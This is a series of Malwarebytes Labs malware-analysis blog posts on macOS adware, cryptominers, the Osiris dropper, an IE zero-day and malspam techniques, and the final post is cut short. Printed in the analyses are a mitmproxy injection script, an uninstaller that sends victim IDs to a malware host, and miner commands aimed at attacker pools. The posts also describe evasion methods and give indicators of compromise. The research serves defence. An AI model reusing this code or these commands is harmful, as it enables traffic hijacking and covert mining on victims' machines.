Mac malware intercepts encrypted web traffic for ad injection

Last week, Malwarebytes researcher Adam Thomas found an interesting new piece of Mac malware that exhibits some troubling behaviors, including intercepting encrypted web traffic to inject ads. Let’s take a closer look at this adware, which Malwarebytes for Mac detects as OSX.SearchAwesome, to see how it’s installed, its behavior, and the implications of this kind of attack.

Installation

The malware is found on a rather bland disk image file, without any of the usual decorations that could make it look like a legitimate installer.

When opened, the app does not present an installer display but instead invisibly installs its components. The only evidence that it is doing anything at all comes from two authentication requests. The first is a request to authorize changes to Certificate Trust Settings.

The second is to allow something called spi to modify the network configuration.

Since this malware was delivered at a second stage, downloaded by another malicious installer—a supposed cracked app from a torrent—this makes sense. It has no need for a pretty user interface, as the user will never see anything more than the password requests, and those will be within the context of another installer.

Adware behavior

The spinstall app, like lots of adware, installs an application and a couple launch agents:

/Applications/spi.app
~/Library/LaunchAgents/spid-uninstall.plist
~/Library/LaunchAgents/spid.plist

The spid.plist agent is designed to launch spi.app, but interestingly is not designed to keep the app running constantly. If the user forces the app to quit, it will not re-open until the computer restarts or the user logs out and back in.

Interestingly, the spid-uninstall.plist agent monitors spi.app for removal, and if the app gets removed somehow, it removes the other components of the malware. (More on this shortly.)

However, it also diverges significantly from other adware by installing a certificate to be used for a man-in-the-middle (MitM) attack, where malware is able to insert itself into a chain of custody somewhere, typically with network packets.

In this case, the malware uses the certificate as the first step in gaining access to https traffic, which is normally encrypted between the browser and the website and can’t be viewed by other software. However, a certificate that is trusted by the system—and, if you entered your password when asked during installation, the certificate will be trusted—can be used to intercept https traffic.

Next, the malware installs an open-source program called mitmproxy. According to the mitmproxy website, the software “can be used to intercept, inspect, modify, and replay web traffic.” With the certificate, which is actually owned by the mitmproxy project, the software is able to do this not just with unencrypted http traffic, but also with encrypted https traffic.

The software is designed to use this capability to modify web traffic for the purpose of injecting JavaScript into every page. This can be seen in an inject.py script installed by the malware:

from mitmproxy import http

def response(flow: http.HTTPFlow) -> None:
    if flow.response.status_code == 200:
        if "text/html" in flow.response.headers["content-type"]:
            flow.response.headers.pop("content-security-policy", None)
            flow.response.headers.pop("content-security-policy-report-only", None)
            script_url = "https://chaumonttechnology.com/ia/script/d.php?uid=d7a477399cd589dcfe240e9f5c3398e2&a=3675&v=a1.0.0.25"
            html = flow.response.content
            html = html.decode().replace("", "http://+script_url+")
            flow.response.content = str(html).encode("utf8")

As shown here, the malware injects a script loaded from a malicious website at the end of every webpage loaded on the infected computer.

Uninstaller

If spi.app is deleted, the spid-uninstall.plist agent will run the following script:

if ! [ -d "/Applications/spi.app" ]; then
networksetup -setwebproxystate "Wi-Fi" off
networksetup -setsecurewebproxystate "Wi-Fi" off
networksetup -setwebproxystate "Ethernet" off
networksetup -setsecurewebproxystate "Ethernet" off

VERSION=$(defaults read com.searchpage.spi version)
AID=$(defaults read com.searchpage.spi aid)
UNIQUE_ID=$(defaults read com.searchpage.spi unique_id)

curl "http://www.searchawesome.net/uninstall.php?un=1&v=$VERSION&reason=&unique_id=$UNIQUE_ID&aid=$AID"

defaults delete com.searchpage.spi
defaults delete com.searchpage.spiinstall

rm ~/Library/LaunchAgents/spid-uninstall.plist
rm ~/Library/LaunchAgents/spid.plist
fi

This does several things. First, it disables the proxy that was set up initially. Next, it gets some information from the program’s preferences and sends that information up to a web server. Finally, it removes the preferences and the launch agents (though it does not properly unload them).

At the first step in the process, the script will cause an authentication request to appear four times, each time requiring a password.

I generally do not recommend using uninstallers that are provided by the malware you want to remove. There have been a number of cases where an uninstaller has been known to install new components while removing others. An example is the Genieo malware, which has been known to do this repeatedly over the years, starting back in 2014.

In the case of this uninstaller, it’s important to note that it leaves behind the mitmproxy software, as well as the certificate used by mitmproxy to access encrypted web traffic, which has been marked as trusted by the system.

Implications

This adware, at first glance, seems to be fairly innocuous, since it’s just injecting a script that serves up advertisements. Looks can be deceiving, though. Since that script is being loaded from a server, that server’s content could change at any time. It could change from serving ads to siphoning off user data or redirecting the user to a phishing site. Imagine, for example, if a script were injected only on a particular bank’s website, and that script redirected the user to a phishing page designed to steal the user’s banking credentials.

The injected script could be used to do anything, from mining cryptocurrency to capturing browsing data to keylogging and more. Worse, the malware itself could invisibly capture data through the MitM attack, without relying on JavaScript or modifying the web page content.

Even once the malware is gone, its potential for damage is not over. By leaving behind the tools it used to execute a MitM attack, it sets up a situation where another piece of malware—perhaps one more nefarious than this one—could take advantage of the presence of those tools to do its own capturing of encrypted web traffic.

Malwarebytes for Mac will detect and remove the components of this malware, which is detected as OSX.SearchAwesome. However, it will not remove the components of mitmproxy, since that is a legitimate open-source tool. If you are infected, you should remove the mitmproxy certificate from the keychain (using Keychain Utility).

Indicators of compromise

If you see any of the following on a Mac, they are indicators that the machine has been infected with this malware:

/Applications/spi.app
~/Library/LaunchAgents/spid-uninstall.plist
~/Library/LaunchAgents/spid.plist
~/Library/SPI/

The following items are a sign that mitmproxy is or has been installed:

~/.mitmproxy/

A certificate with the common name mitmproxy:

The post Mac malware intercepts encrypted web traffic for ad injection appeared first on Malwarebytes Labs.

Go to Source
Author: Thomas Reed

Osiris dropper found using process doppelgänging

Process Doppelgänging, a new technique of impersonating a process, was published last year at Black Hat conference. After some time, a ransomware named SynAck was discovered that adopted it for malicious purposes. However, this technique is still pretty rare in wild. So, it was an interesting surprise to notice it in a dropper of the Osiris banking Trojan (a new version of the infamous Kronos).

The authors of this dropper were skilled, and they added several other tricks to spice the whole thing up. In this post, we will have a closer look at the loader’s implementation.

Analyzed sample

Osiris is loaded in three steps:

Overview

The dropper creates a new process and injects the content inside:

Interestingly, when we look into the modules loaded in the process space of the injector, we can see an additional copy of NTDLL:

This is a well-known technique that some malware authors use in order to evade monitoring applications and hide the API calls that they used.

When we examine closely what the functions are called from that additional NTDLL, we find more interesting details. It calls several APIs related to NTFS transactions. It was easy to guess that the technique of Process Doppelgänging, which relies on this mechanism, was applied here.

Loading additional NTDLL

NTDLL is a special, low-level DLL. Basically, it is just a wrapper around syscalls. It does not have any dependencies from other DLLs in the system. Thanks to this, it can be loaded conveniently, without the need to fill its import table.

Other system DLLs, such as Kernel32, rely heavily on functions exported from NTDLL. This is why many user-land monitoring tools hook and intercept the functions exported by NTDLL: to watch what functions are being called and check if the process does not display any suspicious activity.

Of course malware authors know about this, so sometimes, in order to fool this mechanism, they load their own, fresh and unhooked copy of NTDLL from the disk. There are several ways to implement this. Let’s have a look how the authors of the Osiris dropper did it.

Looking at the memory mapping, we see that the NTDLL is loaded as an image, just like other DLLs. However, it was not loaded by a typical LoadLibrary function, nor even by its low-level version from NTDLL, LdrLoadDll. Instead, the authors decided to load the file as a section, using following functions:

  • ntdll.NtCreateFile – to open the ntdll.dll file
  • ntdll.NtCreateSection – to create a section out of this file
  • ntdll.ZwMapViewOfSection – to map this section into the process address space

This was smart move because the DLL looks like it was loaded in a typical way, and yet, if we monitor the LdrLoadDll function, we see nothing suspicious.

Implementation of Process Doppelgänging

In order to make their injection more stealthy, the authors took the original implementation of Process Doppelgänging a step further and used only low-level APIs. So, instead of calling the convenient wrappers from Kernel32, for most of the functions they called their equivalents from NTDLL. Moreover, they used the aforementioned custom copy of this DLL.

First, they created a new suspended process. This is the process into which the payload will be injected. In this particular case, the function was called from kernel32.dll: CreateProcessInternal.

Process Doppelgänging then starts from creating a new transaction, within which a new file is created. The original implementation used CreateTransaction and CreateFileTransacted from Kernel32 for this purpose. But this is not the case here.

First, a function ZwCreateTransaction from a NTDLL is called. Then, instead of CreateFileTransacted, the authors open the transacted file by RtlSetCurrentTransaction along with ZwCreateFile (the created file is %TEMP%\Liebert.bmp). Then, the dropper writes the content of the new executable to the file—the second stage of the malware. Analogically, RtlSetCurrentTransaction with ZwWriteFile is used.

We can see that the buffer that is being written contains the new PE file: the second stage payload. Typically, for the Process Doppelgänging technique, the file is visible only within the transaction and cannot be opened by other processes, such as AV scanners.

After the file inside the transaction is created, it will be used to create a buffer in special format, called a section. The function that can do it is available only via low-level API: ZwCreateSection/NtCreateSection.

After the section is created, the file that was created is no longer needed. The transaction gets rolled back (by ZwRollbackTransaction), and the changes to the file are never saved on the disk.

Further, the created section will be used to load a PE file. After writing the payload into memory and setting the necessary patches, such as Entry Point redirection, the process is resumed:

Second stage loader

The next layer (8d58c731f61afe74e9f450cc1c7987be) is not the core yet, but the next stage of the loader. The way it loads the final payload is much simpler, yet still not trivial. The code of Osiris core is unpacked piece by piece and manually loaded along with its dependencies into a newly allocated memory area within the loader process.

After this self-injection, the loader jumps into the payload’s entry point:

The interesting thing is that the entry point of the application is different than the entry point saved in the header. So, if we dump the payload and try to run it interdependently, we will not get the same code executed. This is an interesting technique used to misguide researchers.

This is the entry point that was set in the headers is at RVA 0x26840:

The call leads to a function that makes the application go in an infinite sleep loop:

The real entry point, from which the execution of the malware should start, is at 0x25386, and it is known only to the loader.

Comparison with Kronos loader

A similar trick using a hidden entry point was used by the original Kronos (2a550956263a22991c34f076f3160b49).

In the case of Kronos, the final payload is injected into svchost. The execution is redirected to the core by patching the entry point in the svchost:

In this case, the entry point within the payload is at RVA 0x13B90, while the entry point saved in the payload’s header (d8425578fc2d84513f1f22d3d518e3c3) is at 0x15002.

The code at the real Kronos entry point displays similarities with the analogical point in Osiris. Yet, we can see they are not identical:

Conclusion

The implementation of Process Dopplegänging used in the first stage loader is clean and professional. The author used a relatively new technique and made the best out of it by composing it with other known tricks. The precision used here reminds us of the code used in the original Kronos. However, we can’t be sure if the first layer is written by the same author as the core bot. Malware distributors often use third-party crypters to pack their malware. The second stage is more tightly coupled with the payload, and here we can say with more confidence that this layer was prepared along with the core.

The post Osiris dropper found using process doppelgänging appeared first on Malwarebytes Labs.

Go to Source
Author: hasherezade

Obfuscated Coinhive shortlink reveals larger mining operation

During the past several months, in-browser mining has continued to affect a large number of websites, predominantly relying on Coinhive’s infamous API. We documented several campaigns on this blog, in particular Drupalgeddon, where attackers are taking advantage of vulnerabilities in popular Content Management Systems (CMS) to compromise websites and push payloads both client- and server-side.

In the past weeks, our crawlers have catalogued several hundred sites using a variety of CMS all injected with the same obfuscated code that uses Coinhive’s shortlink to perform silent drive-by mining. By pivoting on this indicator of compromise, we were able to identify a larger infrastructure receiving traffic from several thousand hacked sites acting as doorways to redirect traffic to a central server involved in the distribution of both web and standard malware coin miners.

Figure 1: Mining operation fueled by compromised sites

Obfuscated miner injection

As part of our regular crawls, we look for known redirects to sites of interest and lately, most have been related to Coinhive domains. We detected hundreds of new domains, all legitimate websites that were injected with a blurb of hexadecimal code. Once decoded, it shows as an invisible iframe (1×1 pixel) to cnhv[.]co/3h2b2. We believe it is part of the same campaign that was exposed by the folks over at Sucuri at the end of May.

</i frame>

Figure 2: A WordPress site injected with an obfuscated iframe loading Coinhive’s API

The cnhv[.]co domain name is used for what Coinhive calls shortlinks, essentially a way of monetizing on hyperlinks by making visitors’ browsers solve a certain number of hashes before they reach their destination site. When clicking on such a link, you will see a progress bar and within a few seconds, you will be redirected. Crooks are abusing this feature by loading those shortlinks as hidden iframes with an unreasonably high hash count.

Figure 3: Shortlink is taxing our CPU at 100% 

In Figure 3 where we made the iframe visible by by changing its dimensions, to show that rather than wait for a few seconds before being redirected, users will unknowingly be mining for as long as they stay on the page. Indeed, while Coinhive’s default setting is set to 1024 hashes, this one requires 3,712,000 before loading the destination URL.

Backdoor initiated redirection

Querying urlscan.io, we were able to find the same Coinhive key active as early as May 7 via a different redirection mechanism. There is a specific URI pattern indicating that hacked sites are being leveraged to perform a redirect to a server at 5.45.79[.]15. This in turn creates a redirection via another crafted URI where one of the parameters is the referrer site, ultimately leading to the Coinhive shortlink that will start the web miner.

Figure 4: The same shortlink was found loaded from a compromised website via an intermediary server

Several sites have been injected with both the hidden cnvh[.]co iframe method, as well as via backdoors:

Figure 5: A hacked site injected with Coinhive’s shortlink and multiple compromised URLs

The URI pattern used for the redirections can be identified by the following regular expression:

Figure 6: A regular expression showing a match between compromised sites

Blackhat SEO and doorways

Looking at those URIs again, we can note the presence of certain keywords that appear to be Search Engine Optimization (SEO) related, for instance:

cctvvietnam[.]com/1hqg/wzdea.php?lrscye=mongodb-count-fields
pixelbedlam.co[.]uk/9ul8/6nfme.php?lrscye=relativity-software-cost
valam[.]in/f8wb/z8d6w.php?lrscye=tutoring-in-egypt
stemat[.]pl/klwy/dzwfy.php?lrscye=vin-decoder-mercedes
whylab[.]nl/podd/1hwnz.php?lrscye=gpon-home-gateway-exploit
soho-dom[.]ru/el5p/ywuul.php?lrscye=bts-album-download-zip

We confirmed that indeed some Google or Bing searches showed us results that included the list of compromised sites that are acting as “doorways,” usually to a traffic distribution system or redirector (5.45.79[.]15). In this case, the doorways are used to trick people into downloading malicious coin miners instead of the file they were looking for.

Figure 7: Despite appearances, this file is not 100 percent clean

Note how the server at 5.45.79[.]15 is performing the redirection to another hacked sited (motoir[.]com), where the keywords passed from the URI are dynamically used to create what looks like a unique download page and file.

Figure 8: Web traffic showing the redirection sequence

Malicious coin miners

Upon execution, this executable will unpack the following three binaries:

  1. winsystem.exe: the XMRig miner
  2. clock.exe: .bat file wrapped into an EXE contains commands
  3. netflash.exe: a very simple downloader, written in .NET.

The batch script adds persistence by setting a registry entry, kills certain processes (possible miners already running), and starts mining by launching:

winsystem.exe -B -a cryptonight -o 37.1.197[.]121:80 -p x -u %COMPUTERNAME% +500 --max-cpu-usage=30 --donate-level=1 -k

Figure 9: Batch script revealing the mining code

The fake download binaries are based on the same code from a miner, unsurprisingly, hosted at 5.45.79[.]15/xxxphoto.exe. Using VirusTotal Intelligence, we were able to expand on this infrastructure and identify another coin miner, which is an ELF file this time, based on this cnrig library, hosted at: 5.45.79[.]15/monero/cnrig.

Figure 10: Graph showing an ELF and Win32 miner hosted on the same server

A comment left on this VirusTotal report page indicates that this miner was found on an infected server and pulled down from a PHP backdoor called zz1.php. Searching for that file name, we located a possible candidate uploaded to a public site. Decoding the Base64 encoded strings, we can assert with greater confidence that this is the malicious PHP file used by the attackers to download the Linux coin miner from 5.45.79[.]15/monero/cnrig:

Figure 11: PHP code uploaded into compromised sites responsible for ELF miner download

Once it has retrieved the ELF binary, it runs it, using the following command in order to begin mining:

./cnrig -o 5.61.46[.]146:80 --donate-level=1 > /dev/null 2>&1

Proxies

Because the miners are connecting to private pools (and likely via proxy) without using a wallet address, we cannot assess how much money the perpetrators have generated with this scheme.

In fact, the server at 5.45.79[.]15 also has its own ProxyPanel:

Figure 12: A proxy based on xmrig-proxy

The XMRig version of the miner had a public stats page indicating that there were close to 500 infected machines that had participated in the mining activity. For the CNRig version, we weren’t able to find any such stat, although the number of hacked servers was much higher.

A growing number of sites

The interest surrounding cryptocurrencies has drastically changed the malware landscape with criminals hoping to get a piece of the action. As such, a growing number of websites are being compromised both client- and server-side to distribute and run coin miners.

In this campaign, we see infrastructure used to push an XMRig miner onto users by tricking them into downloading files they were searching for online. In the meantime, hacked servers are instructed to download and run a Linux miner, generating profits for the perpetrators but incurring costs for their owners. Finally, it seems only fitting to see an abuse of Coinhive’s shortlinks to perform in-browser mining.

Malwarebytes blocks malicious mining, whether it is triggered by malware or loaded via compromised websites.

Thanks to @DynamicAnalysis for sharing additional information.

Indicators of compromise

String for obfuscated cnvh[.]co injection

vhisduhvuhiusdhfbjhewvhisdhbybguyebrrfsd

Coinhive shortlink

cnhv[.]co/3h2b2

Coinhive site key

Dkpy5v4CBgwZqzPRosdHKDB7DQsc1Sav

Regex for compromised sites redirection

/(w{4}|w{8})/(w{5}|w{9}).php?([a-z]{6}|[a-z]{3})=[w]{1,25}-[w]{1,25}

Redirection server

5.45.79[.]15

Windows miner dropper

5.45.79[.]15/xxxphoto.exe
38f55239519523638dc2b3958f5e9951a6b04f813336927a4f7de717518e5b44

Linux miner

5.45.79[.]15/monero/cnrig
c890d18fe3753a9ea4d026fc713247a9b83070b6fe40539779327501916be031

The post Obfuscated Coinhive shortlink reveals larger mining operation appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

New macro-less technique to distribute malware

One of the most common and effective infection vectors, especially for businesses, is the use of malicious Office documents. This year alone, we witnessed two zero-days for both Flash and the VBScript engine, which were first actually embedded into Office documents before gaining wider adoption in web exploit kits.

In addition to leveraging software vulnerabilities, attackers are regularly abusing normal Office features, such as macros, or more obscure ones like Dynamic Data Exchange (DDE), and of course Object Linking and Embedding (OLE) attacks, which can also be mixed with exploits. System administrators can harden endpoints by disabling certain features company-wide, for example to foil certain social engineering schemes that try to trick users to enable a malicious macro. In recent versions of Office, Microsoft is also blocking the activation of objects considered high risk, based on a list of extensions that can be customized via Group Policy.

But a recent discovery by security researcher Matt Nelson, shows that yet another infection vector can be tapped into, one that circumvents the current protection settings and even Microsoft’s new Attack Surface Reduction technology. By embedding specially-crafted settings files into an Office document, an attacker can trick a user to run malicious code without any further warning or notification.

The file format, specific to Windows 10 called .SettingContent.ms, is essentially XML code that is used to create shortcuts to the Control Panel. This feature can be abused because one of its elements (DeepLink) allows for any binary with parameters to be executed. All that an attacker needs to do is add his own command using Powershell.exe or Cmd.exe. And the rest is history.

A new script found by Nick Carr shows an attack where PowerShell is invoked to download and execute a Trojan (VT report). According to Matt Nelson, who discovered this new technique, Microsoft is not going to fix it, at least for the time being.

We tested this sample in our lab and are happy to report that Malwarebytes users are already protected:

During the past few years, while there has been little development with web exploit kits, there has been a lot of activity with document exploit kits such as Microsoft Word Intruder (WMI) or Threadkit. These toolkits allow attackers to craft lures and embed the exploit(s) of their choice before either spear phishing their victims or sending the file via larger spam campaigns. At the same time, it looks like classic social engineering attacks aren’t going anywhere anytime soon and will keep capitalizing on the human element.

It is import for end users and businesses to recognize that malicious documents represent a very real threat and require adequate protection and training to fend against.

The post New macro-less technique to distribute malware appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

New Mac cryptominer uses XMRig

A new Mac cryptominer was discovered this week, after affected users saw their fans whirring out of control and a process named “mshelper” gobbling up CPU time like Cookie Monster. Fortunately, this malware is not very sophisticated and is easy to remove.

The malware became public knowledge in a post on Apple’s discussion forums, where the “mshelper” process was found to be the culprit. Digging deeper, it was discovered that there were a couple other suspicious processes installed as well. We went searching and found copies of these files.

The malware is mining for Monero cryptocurrency. Here’s a breakdown of its components.

The dropper

A “dropper” is what security researchers call the program that installs malware. Often, Mac malware is installed by things like fake Adobe Flash Player installers, downloads from piracy sites, decoy documents users are tricked into opening, and other such things.

In this case, the dropper is still unknown, but we do not believe it’s anything sophisticated. Everything else about this malware suggests simplicity.

The launcher

A file named pplauncher is installed in the following location:

~/Library/Application Support/pplauncher/pplauncher

This file is kept running by a launch daemon (com.pplauncher.plist), indicating that the dropper must have had root privileges.

pplauncher is a rather large executable file (3.5 MB) that was written in Golang and then compiled for macOS. The sole responsibility of this process appears to be the fairly simple process of installing and launching the miner process.

Using Golang introduces significant overhead, resulting in a binary file containing more than 23,000 functions. Using this for what appears to be simple functionality is probably a sign that the person who created it is not particularly familiar with Macs.

pplauncher SHA256:
8f1938d082393713539abb9dfa8bfde8e1a09721f622e6e597d4560219ffca0d

The miner

The miner is the mshelper process, which is installed here:

/tmp/mshelper/mshelper

This process appears to be an older version of the legitimate XMRig miner, which can be installed on Macs via Homebrew. Getting the version information from the current XMRig gives the following results:

$ xmrig -V
XMRig 2.6.2
 built on May  7 2018 with clang 9.0.0 (clang-900.0.39.2)
 features: 64-bit AES

Requesting the same information from the mshelper process gives the following results:

$ /tmp/mshelper/mshelper -V
XMRig 2.5.1
 built on Mar 26 2018 with clang 9.0.0 (clang-900.0.39.2)
 features: x86_64 AES-NI

Clearly, mshelper is simply an older copy of XMRig that is being used for the purpose of generating the cryptocurrency for the hacker behind the malware. The pplauncher process provides the necessary command-line arguments, such as the following parameter specifying the user, found using the strings command on the pplauncher executable file:

--user=19531259765625
mshelper SHA256:
a00f6fbb2e00d35f938534e1c20ba2e02311536bcf60be2165037d68cba141b2

Mac cryptomining on the rise

This malware is not particularly dangerous, unless your Mac has a problem like damaged fans or dust-clogged vents that could cause overheating. Although the mshelper process is actually a legitimate piece of software being abused, it should still be removed along with the rest of the malware.

Mac cryptomining malware has been on the rise recently, just as in the Windows world. This malware follows other cryptominers for macOS, such as Pwnet, CpuMeaner, and CreativeUpdate. I’d rather be infected with a cryptominer than some other kind of malware, but that doesn’t make it a good thing.

If you think you’re infected with this malware, Malwarebytes for Mac will remove it. We detect this malware as OSX.ppminer.

The post New Mac cryptominer uses XMRig appeared first on Malwarebytes Labs.

Go to Source
Author: Thomas Reed

Internet Explorer zero-day: browser is once again under attack

In late April, two security companies (Qihoo360 and Kaspersky) independently discovered a zero-day for Internet Explorer (CVE-2018-8174), which was used in targeted attacks for espionage purposes. This marks two years since a zero-day has been found (CVE-2016-0189 being the latest one) in the browser that won’t die, despite efforts from Microsoft to move on to the more modern Edge.

The vulnerability exists in the VBScript engine and how it handles memory objects. It will also affect IE11 even though VBScript is no longer supported by using the compatibility tag for IE10.

The attack came via a Word document making use of OLE autolink objects to retrieve the exploit and shellcode from a remote server. However, it is important to note that it could very well have been executed by visiting a website instead.

Perhaps one of the reasons why it was not used as a drive-by download attack may be related to the targets running another browser as their default (i.e. Chrome) where the exploitation would never occur. However, by tricking their victims to open an Office document, the attackers can force Internet Explorer to load, thanks in part to the URL moniker “feature.”

Using rtfdump.py, we see the call for an HTTP connection:

python rtfdump.py -s 320 -H CVE-2018-8174.rtf

000014C0: 70 B2 86 8C 53 30 05 43 00 38 30 01 18 68 00 74 p���S0.C.80..h.t
000014D0: 00 74 00 70 00 3A 00 2F 00 2F 00 61 00 75 00 74 .t.p.:././.a.u.t
000014E0: 00 6F 00 73 00 6F 00 75 00 6E 00 64 00 63 00 68 .o.s.o.u.n.d.c.h
000014F0: 00 65 00 63 00 6B 00 65 00 72 00 73 00 2E 00 63 .e.c.k.e.r.s...c
00001500: 00 6F 00 6D 00 2F 00 73 00 32 00 2F 00 73 00 65 .o.m./.s.2./.s.e
00001510: 00 61 00 72 00 63 00 68 00 2E 00 70 00 68 00 70 .a.r.c.h...p.h.p
00001520: 00 3F 00 77 00 68 00 6F 00 3D 00 37 00 00 00 00 .?.w.h.o.=.7....

This remote request will download a VBS script. A Proof of Concept adapted from the blog that was published by Kaspersky can be seen below:

The flaw abused by this vulnerability relates to a reference count that is checked at the beginning of the function but not after, despite the chance of it being incremented along the way. This allows an attacker to execute malicious shellcode and eventually load the malware binary of his choice.

We tested this Use After Free (UAF) vulnerability with the publicly available PoC running Internet Explorer 11 under Windows 10. The browser crashes once it loads the VBS code, but with Malwarebytes, the attack vector is mitigated:

Microsoft has released a patch for this vulnerability, and we strongly advise to apply it, as it is just a matter of time before other threat actors start leveraging this new opportunity in spam or exploit kit campaigns.

We will update this blog if we obtain more information about this vulnerability being used widely, and in particular, if a full working exploit is available.

The post Internet Explorer zero-day: browser is once again under attack appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

Internet Shortcut used in Necurs malspam campaign

The Necurs botnet continues to be one of the most prolific malicious spam distributors, with regular waves of carefully-crafted attachments that are used to download malware.

The majority of malspam campaigns that we track are targeting Microsoft Office with documents containing either macros or exploits. We also see a number of other types of malicious attachments that are zipped scripts (.VBS, .JS, etc)—essentially downloaders for the final payload.

In a new technique recently uncovered, Necurs is changing things up a little bit by avoiding the aforementioned formats and using a different file type instead, crafting malicious .URL files (Internet Shortcut).

This attack relies on the file:// protocol to load and execute a remote script from a samba (SMB) share. This is noteworthy because typically the attachment is used as a downloader, but instead here we see one additional step that pushes this function one degree further thanks to the .url shortcut.

By not placing the malicious script directly within the attachment, attackers are also preventing the automated collection and sandbox analysis that usually takes place within spam traps.

An obfuscated view of the WSF script can be seen in the screenshot below:

The final payload is eventually downloaded from a remote server:

This is an interesting attack designed to bypass traditional security measures and administrative policies that may block the well-known Office macros.

Malwarebytes users are already protected against this technique.

Malware authors are constantly looking for new evasion techniques as long as they generate good success rates. Social engineering attacks have relied upon the same lures for some time, but every now and again we see a slight variation in a technique that was perhaps known, but not yet leveraged by criminals.

The post Internet Shortcut used in Necurs malspam campaign appeared first on Malwarebytes Labs.

Go to Source
Author: Malwarebytes Labs

PBot: a Python-based adware

Recently, we came across a Python-based sample dropped by an exploit kit. Although it arrives under the disguise of a MinerBlocker, it has nothing in common with miners. In fact, it seems to be PBot/PythonBot: a Python-based adware.

Apart from a couple of posts on forums in Russian language and brief threat notes, we couldn’t find any detailed publication.

Some of its features are pretty interesting, so we decided to take a closer look. The malware performs MITB (man-in-the-browser) attacks and injects various scripts into legitimate websites. Its capabilities may go beyond simple injections of ads, depending on the intentions of its distributors.

Analyzed samples

Distribution method

The described sample was dropped by the RIG exploit kit:

Behavioral analysis

Installation

The main executable, dropped by the exploit kit, is a downloader. The downloader is pretty simple and not obfuscated. We can see the scripts in the resources:

Its role is to fetch the second installer that has all the malicious Python scripts inside. The second component is named MinerBlocker.

The interesting thing is, if the downloaded component is run as a standalone, it behaves like a normal, legitimate installer, displaying a EULA and installation wizard. We can see the following information:

It pretends to be a legitimate application dedicated to blocking malicious miners. However, we could not find any website corresponding to the mentioned product, so at the moment we suspect that it is fully made up.

When the same component is run by the original downloader, the installation is fully stealthy instead. It drops the package in %APPDATA%.

Components

The dropped application consists of multiple elements. We can see a full installation of Python prepared in order to run the dropped scripts. The bundle has also its own uninstaller (uninstall.exe) that, once deployed, fully removes the package.

In the directory js, as the name suggests, we can find a file with JavaScript, i.js:

In configs, there are two configuration files: rules.ini and settings.ini.

The configuration file rules.ini specifies the path to the JavaScript and suggests that it will be injected somewhere:

The file settings.ini contains various interesting parameters. It contains, among others:

1) The ports on which the service will be running, and the issuer of the used certificate:

2) A list of processes (browsers) that will possibly be attacked:

3) A set of whitelisted IPs and domains. The domains are in Base64 format and, after decoding them, we can see various Russian banking sites. The full list of the decoded sites is available here. As we later confirmed, those sites are exempted from the infection.

Persistence is achieved by Run keys in the registry:

They lead to one of the scripts called “ml.py.” Once this script is run, it deploys another Python component: “httpfilter.py” with the dropped .ini files:

Functionality

If we look at the packaging, which contains an uninstaller, the application could look legitimate. However, its functionality is far form something that any user would desire to have on his/her computer. First of all, it injects scripts into each website you visit. The injected script comes from the path specified in the configuration, however, it further loads a second stage from the remote server (captured content of the second stage available here).

So, once it is injected, the attackers are in control of the contents displayed in our browser. They can inject ads, but also any other much more malicious content.

Example of a site with the script injected by the malware that impersonates a domain belonging to Google:

Compare it with the script that was in the directory js, i.js (formatted version available here):

Also, the malware forges certificates and performs the man-in-the-browser attack. The legitimate certificates on the sites with HTTPS are replaced by fake certificates issued by “The Filter” that is a malicious entity:

Looking at the sockets opened by a browser (i.e. by ProcessExplorer) and comparing them with the sockets opened by the Python instance, we find that they are paired together. It is an indicator that the browser communicates with the malware and works under its control.

Example: Internet Explorer connected to a socket 24681. We can see that this socket was opened by the Python process running the malware:

Inside

The loader (written in Python)

The first layer of the malware is the obfuscated Python scripts.

As mentioned before, at the beginning, the script ml.py is run. This script is obfuscated. Its role is to run the second Python layer that is httpfilter.py.

The script httpfilter.py is supposed to decrypt a DLL stored in the file httpfilter.bin.

Then, it injects the DLL into the Python executable. It is interesting because PE injectors written in Python are not so common.

The injector (DLL)

The DLL injected in Python (e5ba5f821da68331b875671b4b946b56) is the main component of the malware. This component expects to be injected into Python executable:

It also fetches the passed parameters (settings.ini and rules.ini). So we can see that they were not meant to be parsed by the script to which they were previously passed.

The authors left some debug strings that makes the execution flow easy to follow. For example:

This DLL is responsible for parsing the configuration and setting up the malicious proxy.

It comes with two hardcoded DLLs: one 32-bit and one 64-bit (both stored in overlay of the PE file and not obfuscated). Those DLLs are the components that are further injected into browsers that are selected by the configuration. Their names are appropriately: injectee-x86.dll and injectee-x64.dll:

The injectee (DLL)

The execution of injectee DLL starts in the exported function, InjectorEntry:

The injectee is implanted in a browser and responsible for hooking its DLLs. Here’s the beginning of the hooking function:

The hooking function is pretty standard for this type of event. It retrieves the addresses of the specified exported functions, then it overwrites the beginning of each function redirecting it to the corresponding function within the malicious DLL.

The targets are functions responsible for parsing certificates (in Crypt32.dll), as well as functions responsible for sending and receiving data (in ws32_dll):

When we dump the hooks via PE-sieve, we can directly see how those functions have been redirected to the malware. Here is the list of tags gathered from the appropriate DLLs:

From Crypt32:

16ccf;CertGetCertificateChain->510b0;5
1cae2;CertVerifyCertificateChainPolicy->513d0;5
1e22b;CertFreeCertificateChain->51380;5

From ws32_dll:

3918;closesocket->50c80;5
4406;WSASend->50d90;5
6b0e;recv->50ea0;5
6bdd;connect->50780;5
6f01;send->50c90;5
7089;WSARecv->50fa0;5
cc3f;WSAConnect->50ab0;5
1bfdd;WSAConnectByList->50c70;5
1c52f;WSAConnectByNameW->50c50;5
1c8b6;WSAConnectByNameA->50c60;5

In both cases, we can see that the addresses have been redirected to the injectee DLL that was loaded at the base 50000.

So, for example, the function WSASend gets intercepted and the execution is redirected to a function at RVA 0xd90 in the injectee dll:

The beginning of the intercepting function:

By this way, all the requests are redirected to the malware. It can work as a proxy, altering data on the way.

After the proxy function finishes, it jumps back to the original function, so the user doesn’t realize any change in the functionality.

Conclusion

This malware is pretty simple, does not contain much obfuscation and was probably not intended to be stealthy. Rather than hiding, it tries to look harmless and legitimate. However, the functionality that it delivers is powerful enough to cause serious harm. It may be configured to display harmless ads, but it could also be configured to display phishing pop-ups, such as it was implemented in Kronos. Also, the fact that it forges certificates of the sites should raise concerns.

The post PBot: a Python-based adware appeared first on Malwarebytes Labs.

Go to Source
Author: hasherezade

Magnitude exploit kit switches to GandCrab ransomware

The GandCrab ransomware is reaching far and wide via malspam, social engineering schemes, and exploit kit campaigns. On April 16, we discovered that Magnitude EK, which had been loyal to its own Magniber ransomware, was now being leveraged to push out GandCrab, too.

